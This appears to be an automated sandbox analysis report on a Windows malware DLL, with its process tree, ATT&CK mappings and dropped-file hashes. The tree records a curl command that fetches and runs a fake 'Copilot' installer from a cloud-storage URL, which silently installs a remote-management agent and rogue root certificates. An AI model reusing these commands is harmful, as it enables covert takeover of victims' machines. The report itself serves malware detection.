pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3464 rundll32.exe Token: SeLoadDriverPrivilege 3464 rundll32.exe Token: SeTakeOwnershipPrivilege 3464 rundll32.exe Token: SeIncBasePriorityPrivilege 3464 rundll32.exe Token: SeTcbPrivilege 3464 rundll32.exe Token: SeShutdownPrivilege 5700 msiexec.exe Token: SeIncreaseQuotaPrivilege 5700 msiexec.exe Token: SeSecurityPrivilege 5216 msiexec.exe Token: SeCreateTokenPrivilege 5700 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5700 msiexec.exe Token: SeLockMemoryPrivilege 5700 msiexec.exe Token: SeIncreaseQuotaPrivilege 5700 msiexec.exe Token: SeMachineAccountPrivilege 5700 msiexec.exe Token: SeTcbPrivilege 5700 msiexec.exe Token: SeSecurityPrivilege 5700 msiexec.exe Token: SeTakeOwnershipPrivilege 5700 msiexec.exe Token: SeLoadDriverPrivilege 5700 msiexec.exe Token: SeSystemProfilePrivilege 5700 msiexec.exe Token: SeSystemtimePrivilege 5700 msiexec.exe Token: SeProfSingleProcessPrivilege 5700 msiexec.exe Token: SeIncBasePriorityPrivilege 5700 msiexec.exe Token: SeCreatePagefilePrivilege 5700 msiexec.exe Token: SeCreatePermanentPrivilege 5700 msiexec.exe Token: SeBackupPrivilege 5700 msiexec.exe Token: SeRestorePrivilege 5700 msiexec.exe Token: SeShutdownPrivilege 5700 msiexec.exe Token: SeDebugPrivilege 5700 msiexec.exe Token: SeAuditPrivilege 5700 msiexec.exe Token: SeSystemEnvironmentPrivilege 5700 msiexec.exe Token: SeChangeNotifyPrivilege 5700 msiexec.exe Token: SeRemoteShutdownPrivilege 5700 msiexec.exe Token: SeUndockPrivilege 5700 msiexec.exe Token: SeSyncAgentPrivilege 5700 msiexec.exe Token: SeEnableDelegationPrivilege 5700 msiexec.exe Token: SeManageVolumePrivilege 5700 msiexec.exe Token: SeImpersonatePrivilege 5700 msiexec.exe Token: SeCreateGlobalPrivilege 5700 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 5216 msiexec.exe Token: SeTakeOwnershipPrivilege 5216 msiexec.exe Token: SeRestorePrivilege 4956 7za.exe Token: 35 4956 7za.exe Token: SeSecurityPrivilege 4956 7za.exe Token: SeSecurityPrivilege 4956 7za.exe Token: SeRestorePrivilege 3136 7za.exe Token: 35 3136 7za.exe Token: SeSecurityPrivilege 3136 7za.exe Token: SeSecurityPrivilege 3136 7za.exe Token: SeRestorePrivilege 4472 7za.exe Token: 35 4472 7za.exe Token: SeSecurityPrivilege 4472 7za.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 5700 msiexec.exe 5216 msiexec.exe 2172 MsiExec.exe 5344 dcusbsummary.exe - Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 3464 wrote to memory of 4412 3464 rundll32.exe 92 PID 4412 wrote to memory of 5196 4412 cmd.exe 93 PID 3464 wrote to memory of 2736 3464 rundll32.exe 95 PID 3464 wrote to memory of 5712 3464 rundll32.exe 97 PID 5712 wrote to memory of 6036 5712 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 98 PID 6036 wrote to memory of 5700 6036 WScript.exe 99 PID 5216 wrote to memory of 2172 5216 msiexec.exe 101 PID 5216 wrote to memory of 4992 5216 msiexec.exe 102 PID 4992 wrote to memory of 4732 4992 dcagentregister.exe 103 PID 4732 wrote to memory of 5536 4732 cmd.exe 105 PID 5536 wrote to memory of 4772 5536 net.exe 106 PID 4732 wrote to memory of 4316 4732 cmd.exe 107 PID 4732 wrote to memory of 2712 4732 cmd.exe 108 PID 4732 wrote to memory of 3520 4732 cmd.exe 109 PID 4732 wrote to memory of 2440 4732 cmd.exe 110 PID 4732 wrote to memory of 3608 4732 cmd.exe 111 PID 4992 wrote to memory of 1984 4992 dcagentregister.exe 113 PID 1984 wrote to memory of 4956 1984 cmd.exe 115 PID 4992 wrote to memory of 3136 4992 dcagentregister.exe 119 PID 4992 wrote to memory of 4472 4992 dcagentregister.exe 121 PID 4992 wrote to memory of 4424 4992 dcagentregister.exe 123 PID 1584 wrote to memory of 3084 1584 dcagentservice.exe 177 PID 4992 wrote to memory of 4788 4992 dcagentregister.exe 127 PID 1584 wrote to memory of 4136 1584 dcagentservice.exe 130 PID 1584 wrote to memory of 5344 1584 dcagentservice.exe 131 PID 5344 wrote to memory of 6104 5344 dcusbsummary.exe 133 PID 1584 wrote to memory of 3644 1584 dcagentservice.exe 135 PID 1584 wrote to memory of 3236 1584 dcagentservice.exe 137 PID 4992 wrote to memory of 1228 4992 dcagentregister.exe 139 PID 1584 wrote to memory of 5560 1584 dcagentservice.exe 140 PID 1584 wrote to memory of 1992 1584 dcagentservice.exe 142 PID 1584 wrote to memory of 5836 1584 dcagentservice.exe 144 PID 5836 wrote to memory of 5992 5836 dcconfig.exe 146
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\d92581d7ff95ed2249a0bafad63521d4d77543fd2d6d610f63744d24508912b6.dll,#11⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRClient.dll",EBWebView "C:\Windows\system32\rundll32.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRClient.dll",EBWebView "C:\Windows\system32\rundll32.exe"3⤵PID:5196
-
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" "https://ahdcmm.oss-ap-southeast-5.aliyuncs.com/setup.exe"2⤵PID:2736
-
-
C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe"C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" /S /norestart2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5712 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"3⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:6036 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5700
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5216 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 148EDBB4F8BE779B88620DCABBCA69892⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2172
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4732 -
C:\Windows\SysWOW64\net.exenet session4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5536 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:4772
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4316
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "CSNFRHEA\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2712
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3520
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2440
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3608
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4956
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3136
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4472
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4424
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4788 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exedcmetroapps.exe4⤵PID:2632
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1228 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exebin\dcpatchscan.exe -y 14⤵PID:1776
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *5⤵PID:420
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll5⤵PID:3156
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *5⤵PID:4708
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe5⤵PID:1680
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *5⤵PID:3064
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll5⤵PID:5520
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:3084
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *5⤵PID:1824
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *5⤵PID:1472
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml5⤵PID:1548
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *5⤵PID:4968
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *5⤵PID:1468
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *5⤵PID:900
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
PID:2956 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- Gathers system information
PID:2852
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2052
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3084
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4136
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5344 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:6104
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3644
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3236
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:5560
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1992
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5836 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5992
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵PID:4144
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵PID:1748
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵PID:4120
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵PID:4172
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵PID:1136
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵PID:1216
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵PID:2988
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
File and Directory Permissions Modification
1Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5ab645.rbs
- Size 63KB
- SHA256 2cab0b77216f86a96def7e72bbdbf4520c1eb73f8c4eeb58c568ee99b95492cf
- MD5 e2f7b1ad58e792e2086765306d9aebe9
- SHA1 6b0b4f6b64d1f864ce937a34cd441e52785bc5be
- SHA512 2eac21b881f44ca6c098e7fc8a72c16a9059ea4d49da3e06a2b3b4f1aa829d9807cb864b3e1dbab20946fb182d21e7d3b91e33913bdab1e5b9e40c9a0451ad51
- SSDEEP 768:Zlvw1oOjyhMzY7yjDO+GLltjguA1dcqOWeN0d0S4ImBVbK:78oGyh7UDO+Hn1dEEGzbK
- TLSH T1AA537166DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e5ab64b.rbs
- Size 546B
- SHA256 9b311232cd96384073ec107a9d454b38188ed248db891c1d83fbe430c4757b6b
- MD5 a0d6fd5a1f4ca94c1b3d13f8608fb690
- SHA1 0bf44b6cfdc9bf9f87aace51d53185d434ca43d2
- SHA512 edba33bd6ee23725a528934553ca284280d9a6d46fa1dc3802adc24ad286b6a3a393749066b4b921d3f6cbe35084f27a2adbee062fca64227010ac72541b6e27
- TLSH T188F00E93D30846F3D1902B3312031F000E2FE07EC084C2342E482230FD2221A1EBA1CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 dedfba2c6f64f1c2011b0a2952bc52c14aa3dd6eea5b793ae838bff8b18ec13b
- MD5 de099a9f9f1ddea3e3b3688173a41976
- SHA1 c021900c06402232b79ae91f72b44279f885ece6
- SHA512 005516617c3dc70af263611abc46d6e8e81dc48ffeb9f7dc4e99845e5477f0e3dd385d70da9271c1f8a26c23d23ebc8d94416d54679e5acd726cf249bbfc4d75
- TLSH T11621B72B837ED158BE3EED1424AF8800616587014CD8340FF5BD4EE84F91A5ABD5ED12
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc1908.tmp
- Size 190B
- SHA256 b00803c819487bdfb656b04997ec4916f280400900d3d2a02dcfec0d2ebdcedb
- MD5 84d055baa103f0f1e438d5b681bf7c8d
- SHA1 3e39057b4312169405b62c2f9e697167c40daefb
- SHA512 23776986b8672743f6df6baa52044c9084c95592b4dca4542751fb3b9b38c4a8ccda2f5b8ecb7f67f3df5a4643683e08e89598e7c330c70487ba78a19b3603be
- TLSH T1C0C0C06301F7D2533A17B608540A43F129CC32AD023FF8D9018C507E1BA14CC604BB88
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc2568.tmp
- Size 5KB
- SHA256 ee2ed13e256c2e75cacb08ecd22681a642ea889efe36e81ae47d6367e18c192e
- MD5 1c0ab58e0871650400c6642cbaa12781
- SHA1 60d462bf53d3c00bc0c9e54909e663ac9680720c
- SHA512 d87a5261decacfa8be7be8e5ac3d81f026f1d5d5c554c356ed133af2185897054b455236d77e034ef29643afd0d36570080210e564f2d6ce84d43682868fc1ec
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFbRbiahh11/EAA:gUGHElZhRWgP1zA
- TLSH T15FB15110A0A28F6D13B17B5C995AEA54CD1606A6360A1E05F02D39A70F3EFC27DB74F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
- MD5 a5efe54df4f28f6d12adf840dc931b36
- SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
- SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
- SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
- TLSH T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
- MD5 5e3325dc85cc12d8bfee900860aad196
- SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
- SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
- SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
- TLSH T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
- MD5 SHA1 SHA512 SSDEEP TLSH
